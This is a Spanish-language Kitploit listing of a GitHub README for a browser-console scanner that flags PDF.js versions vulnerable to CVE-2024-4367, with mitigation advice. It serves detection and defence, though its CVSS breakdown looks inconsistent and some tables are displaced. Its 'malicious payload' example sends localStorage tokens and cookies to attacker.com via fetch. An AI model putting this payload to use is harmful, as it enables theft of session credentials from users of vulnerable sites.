Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
pdf.js-CVE-2024-4367 — ESCANEAR FIN POC EL CVE-2024-4367 | Kitploit
Herramientas/GitHubGitHub/veronimo669/pdf.js-cve-2024-4367
ReconocimientoEscáneres de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebRecopilación de InformaciónPruebas de PenetraciónPapers e InvestigaciónAprendizaje y Educación
GitHubveronimo669/pdf.js-cve-2024-4367

pdf.js-CVE-2024-4367

ESCANEAR FIN POC EL CVE-2024-4367

Ver Repositorio
112hace 2 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

🚨 CVE-2024-4367 - Escáner Universal de Vulnerabilidad PDF.js

⚠️ HERRAMIENTA DE SEGURIDAD CRÍTICA | Detecta CVE-2024-4367 (CVSS 9.8) - Vulnerabilidad de Ejecución Remota de Código en PDF.js

Version CVSS CVE License

Funciona en CUALQUIER sitio web - Sin configuración requerida


📋 Tabla de Contenidos

  • 📖 Resumen
  • ⚡ Inicio Rápido
  • 🔍 Qué Detecta
  • 🛠️ Cómo Funciona
  • 📊 Ejemplos de Salida
  • 🔒 Guía de Mitigación
  • 🎯 Vectores de Explotación
  • 🧪 Instrucciones de Prueba
  • 📝 Detalles Técnicos
  • ⚠️ Aviso Legal
  • 📚 Referencias

📖 Resumen

CVE-2024-4367 es una vulnerabilidad crítica en PDF.js (versiones < 4.2.67) que permite la ejecución arbitraria de JavaScript mediante archivos PDF maliciosos. Este escáner detecta automáticamente instancias vulnerables de PDF.js en CUALQUIER sitio web.

Por Qué Este Escáner es Diferente

  • ✅ Sin configuración - Funciona en cualquier sitio web al instante
  • ✅ Detección universal - Escanea todos los paquetes JavaScript
  • ✅ Sin dependencias - JavaScript puro
  • ✅ Prueba de Concepto - Genera un PDF de prueba
  • ✅ Resultados accionables - Pasos de mitigación claros

La Vulnerabilidad

PDF.js contiene una falla donde JavaScript incrustado en archivos PDF se ejecuta sin un sandboxing adecuado, permitiendo a los atacantes:

  • 🏴‍☠️ Robar tokens de autenticación de localStorage/sessionStorage
  • 🍪 Exfiltrar cookies de sesión
  • 📁 Acceder a archivos locales (si es Electron/aplicación de escritorio)
  • 🔐 Realizar acciones como la víctima usando credenciales robadas
  • 🌐 Moverse a redes internas mediante XSS

⚡ Inicio Rápido

Método 1: Consola del Navegador (Más Fácil)

  1. Abre el sitio web objetivo
  2. Presiona F12 para abrir las DevTools
  3. Ve a la pestaña Consola
  4. Pega el script del escáner completo
  5. Presiona Enter
  6. ¡Visualiza los resultados visuales en pantalla!

Método 2: Marcador (Bookmarklet)

Crea un marcador con esta URL:

root@kitploit:~
javascript:(function(){const s=document.createElement('script');s.src='https://cdn.jsdelivr.net/gh/yourusername/CVE-2024-4367-Scanner/scanner.js';document.body.appendChild(s);})();

Método 3: Descarga Directa

root@kitploit:~
git clone https://github.com/yourusername/CVE-2024-4367-Scanner
cd CVE-2024-4367-Scanner
# Abre cualquier sitio web y ejecuta el script

🔍 Qué Detecta

Fase 1: Escaneo de Paquetes JavaScript

  • ✅ Detección de versión de PDF.js
  • ✅ Identificación de versiones vulnerables (< 4.2.67)
  • ✅ Referencias en Package.json
  • ✅ Rutas de Node_modules

Fase 2: Identificación de Visores PDF

  • ✅ Visores PDF en ``
  • ✅ Elementos <embed>
  • ✅ Etiquetas de datos <object>
  • ✅ Contenedores personalizados de visores PDF
  • ✅ Renderizadores basados en Canvas

Fase 3: Vectores de Explotación

  • ✅ Parámetros de URL (?pdf=, ?file=, ?src=)
  • ✅ Formularios de carga de PDF
  • ✅ Campos de entrada de archivo que aceptan .pdf
  • ✅ Puntos finales de API con rutas PDF

Fase 4: Indicadores Visuales

  • ✅ Estado de vulnerabilidad en vivo
  • ✅ PDF de prueba de concepto descargable
  • ✅ Superposición DOM en tiempo real

🛠️ Cómo Funciona

root@kitploit:~
┌─────────────────────────────────────────────────────────────┐
│                    FLUJO DEL PROCESO DE ESCANEO             │
├─────────────────────────────────────────────────────────────┤
│                                                             │
│  1. 📚 CARGAR SCRIPTS                                       │
│     ├─ Scripts externos (todos <script src="">)           │
│     └─ Scripts en línea (todas las etiquetas <script>)    │
│                                                             │
│  2. 🔍 EXTRAER VERSIÓN DE PDF.JS                            │
│     ├─ Coincidencia de patrones en el código                │
│     ├─ Detección de Package.json                            │
│     └─ Análisis de rutas de Node_modules                    │
│                                                             │
│  3. 🎯 IDENTIFICAR VULNERABILIDAD                           │
│     ├─ ¿versión < 4.2.67? → VULNERABLE                     │
│     └─ ¿versión = 2.16.105? → VULNERABLE                   │
│                                                             │
│  4. 🖼️ LOCALIZAR VISORES                                    │
│     ├─ Escaneo de elementos DOM                             │
│     └─ Detección de atributos                              │
│                                                             │
│  5. ⚡ GENERAR POC                                          │
│     ├─ Crear PDF de prueba                                  │
│     └─ Proporcionar enlace de descarga                      │
│                                                             │
│  6. 📊 MOSTRAR RESULTADOS                                   │
│     ├─ Superposición visual                                 │
│     ├─ Informe en consola                                   │
│     └─ Almacenamiento en variable global                    │
│                                                             │
└─────────────────────────────────────────────────────────────┘

📊 Ejemplos de Salida

Salida en Consola

root@kitploit:~
╔═══════════════════════════════════════════════════════════════════════════════════╗
║                    CVE-2024-4367 - ESCÁNER UNIVERSAL PDF.js                         ║
║              Detecta versiones vulnerables de PDF.js y posible explotación         ║
╚═══════════════════════════════════════════════════════════════════════════════════╝

📚 FASE 1: Escaneando Paquetes JavaScript en busca de PDF.js
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
[+] Se encontraron 42 scripts externos
[+] Se encontraron 12 scripts en línea
   [1/42] Analizando: vendor.bundle.js
      → Indicador de PDF.js encontrado: pdfjs-dist
      ✅ Versión de PDF.js encontrada: 2.16.105
      🚨 ¡VULNERABLE a CVE-2024-4367!

🎯 FASE 4: Identificando Vectores de Explotación
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
   ⚠️ El parámetro URL acepta PDF: file=/documents/report.pdf
   ⚠️ Formulario de carga PDF encontrado

█████████████████████████████████████████████████████████████████████████████████
                          INFORME FINAL DEL ESCANEO
█████████████████████████████████████████████████████████████████████████████████

🚨 ¡VULNERABILIDAD CRÍTICA CONFIRMADA!
   CVE: CVE-2024-4367
   CVSS: 9.8 (CRÍTICO)
   Impacto: Ejecución Arbitraria de JavaScript

Superposición Visual

Scanner Overlay

root@kitploit:~
┌─────────────────────────────────────────────────────────────┐
│  RESULTADOS DEL ESCANEO CVE-2024-4367                      │
│  ━━━━━━━━━━━━━━━━━━━━━━━                                    │
│  📍 Objetivo: example.com                                  │
│  📦 PDF.js: 2.16.105                                       │
│  🎯 Vulnerable: SÍ                                         │
│  📄 Visores: 3                                             │
│  ⚡ Vectores: 2                                            │
│  ━━━━━━━━━━━━━━━━━━━━━━━                                    │
│  🔴 CRÍTICO - Se Requiere Actualización                    │
└─────────────────────────────────────────────────────────────┘

🔒 Guía de Mitigación

Acciones Inmediatas

1. Actualizar PDF.js (Recomendado)

root@kitploit:~
# Para proyectos Node.js
npm install pdfjs-dist@latest

# Para uso con CDN
# Actualizar a la versión 4.2.67 o superior

2. Deshabilitar Ejecución de JavaScript

root@kitploit:~
// Establecer esto antes de cargar PDF.js
pdfjsLib.GlobalWorkerOptions.disableJavaScript = true;

3. Política de Seguridad de Contenido (CSP)

root@kitploit:~
Content-Security-Policy: script-src 'self'; 
                        object-src 'none'; 
                        worker-src 'none'

4. Validación de Entrada

root@kitploit:~
// Validar archivos PDF antes de renderizar
function validatePDF(file) {
    // Verificar bytes mágicos
    const header = file.slice(0, 5);
    if (header !== '%PDF-') {
        throw new Error('Archivo PDF inválido');
    }
    
    // Escanear en busca de JavaScript
    const text = file.toString();
    if (text.includes('/JavaScript') || 
        text.includes('/JS') ||
        text.includes('<< /S /JavaScript >>')) {
        throw new Error('El PDF contiene JavaScript');
    }
}

Soluciones a Largo Plazo


🎯 Vectores de Explotación

Vectores Comunes Detectados

  1. Parámetros de URL

    root@kitploit:~
    /viewer?file=malicious.pdf
    /download?pdf=malicious.pdf
    
  2. Carga de Archivos

    root@kitploit:~
    <input type="file" accept=".pdf">
    
  3. Visores Incrustados

    root@kitploit:~
    
    <embed src="malicious.pdf">
    
  4. Puntos Finales de API

    root@kitploit:~
    /api/documents/123/download
    /api/report/pdf
    

Ejemplo de Carga Maliciosa

root@kitploit:~
// JavaScript incrustado en PDF
this.alert('¡CVE-2024-4367 Explotado!');
fetch('https://attacker.com/steal', {
    method: 'POST',
    body: JSON.stringify({
        token: localStorage.getItem('token'),
        cookies: document.cookie
    })
});

🧪 Instrucciones de Prueba

Prueba Paso a Paso

  1. Instalar el escáner

    root@kitploit:~
    git clone https://github.com/yourusername/CVE-2024-4367-Scanner
    
  2. Ejecutar el escáner

    root@kitploit:~
    # Abrir el sitio web objetivo
    # Pegar el escáner en la consola
    # O usar el marcador (bookmarklet)
    
  3. Analizar resultados

    • Buscar estado "VULNERABLE"
    • Notar la versión de PDF.js
    • Verificar vectores de explotación
  4. Descargar PDF de POC (si es vulnerable)

    • Hacer clic en el botón de descarga
    • Subir/abrir el PDF
    • Observar la ejecución de JavaScript
  5. Aplicar correcciones

    • Actualizar PDF.js
    • Implementar CSP
    • Validar entradas

Resultados Esperados

EscenarioResultado
PDF.js 2.16.105🔴 CRÍTICO
PDF.js 3.x🔴 VULNERABLE
PDF.js 4.0.x🔴 VULNERABLE
PDF.js 4.2.67+

📝 Detalles Técnicos

Verificación de Versión

root@kitploit:~
// Versiones vulnerables
const VULNERABLE_VERSIONS = [
    { version: '2.16.105', status: 'CRITICAL' },
    { version: '3.x.x', status: 'CRITICAL' },
    { version: '4.0.x - 4.2.66', status: 'CRITICAL' }
];

// Versión segura
const SAFE_VERSION = '4.2.67';

Línea de Tiempo de la Vulnerabilidad

FechaEvento
2024-04-23Vulnerabilidad descubierta
2024-04-24CVE-2024-4367 asignado
2024-04-25

Desglose de Puntuación CVSS


⚠️ Aviso Legal

IMPORTANTE: Esta herramienta está destinada únicamente para pruebas de seguridad autorizadas y fines educativos.

  • ✅ HÁGALO usar en sus propios sitios web
  • ✅ HÁGALO usar con permiso explícito
  • ✅ HÁGALO usar para investigación de seguridad
  • ❌ NO usar en sistemas no autorizados
  • ❌ NO usar con fines maliciosos

Los autores no son responsables por cualquier uso indebido o daño causado por esta herramienta.


📚 Referencias

Recursos Oficiales

  • CVE-2024-4367 - NIST NVD
  • Aviso de Seguridad de PDF.js
  • Blog de Seguridad de Mozilla

Vulnerabilidades Relacionadas

  • CVE-2024-4367 - RCE en PDF.js
  • CVE-2023-xxxx - Problemas anteriores de PDF.js
  • XSS a través de PDF.js en aplicaciones web

Herramientas y Recursos

  • Repositorio Oficial de PDF.js
  • Prevención de XSS de OWASP
  • Referencia de CSP

Artículos de Investigación

  • Análisis de Seguridad de PDF.js
  • Riesgos del Renderizado de PDF del Lado del Cliente

🤝 Contribuciones

¡Las contribuciones son bienvenidas! Por favor:

  1. Haz un fork del repositorio
  2. Crea una rama de funcionalidad
  3. Envía un pull request
  4. Sigue el estilo del código

Configuración de Desarrollo

root@kitploit:~
git clone https://github.com/yourusername/CVE-2024-4367-Scanner
cd CVE-2024-4367-Scanner
# Haz tus cambios
# Prueba en múltiples sitios web
# Envía el PR

📄 Licencia

Este proyecto está bajo la Licencia MIT - consulta el archivo LICENSE para más detalles.


🌟 Soporte

Si encuentras útil esta herramienta:

  • ⭐ Marca el repositorio con estrella
  • 🐛 Reporta problemas
  • 📝 Escribe documentación
  • 🔧 Envía correcciones

🛡️ Mantente Seguro. Prueba Temprano. Prueba a Menudo.

Hecho con ❤️ por la comunidad de seguridad

Reportar Problema • Estrella en GitHub • Leer Documentación

Descargar herramienta
SoluciónDificultadEfectividad
Actualizar PDF.jsFácil✅ Corrección completa
Deshabilitar JS en PDF.jsFácil✅ Corrección completa
Implementar CSPMedia✅ Buena
Validación del lado del servidorMedia✅ Buena
Renderizado en sandboxDifícil✅ Excelente
✅ SEGURO
Sin PDF.jsℹ️ SEGURO
Parche publicado (4.2.67)
2024-04-26Divulgación pública
2024-05-01Intentos de explotación observados
ComponentePuntuación
Vector de AtaqueRed (9.8)
Complejidad de AtaqueBaja (9.8)
Privilegios RequeridosNinguno (9.8)
Interacción del UsuarioRequerida (8.8)
AlcanceCambiado (9.1)
ConfidencialidadAlta (9.8)
IntegridadAlta (9.8)
DisponibilidadAlta (9.8)
General9.8 (CRÍTICO)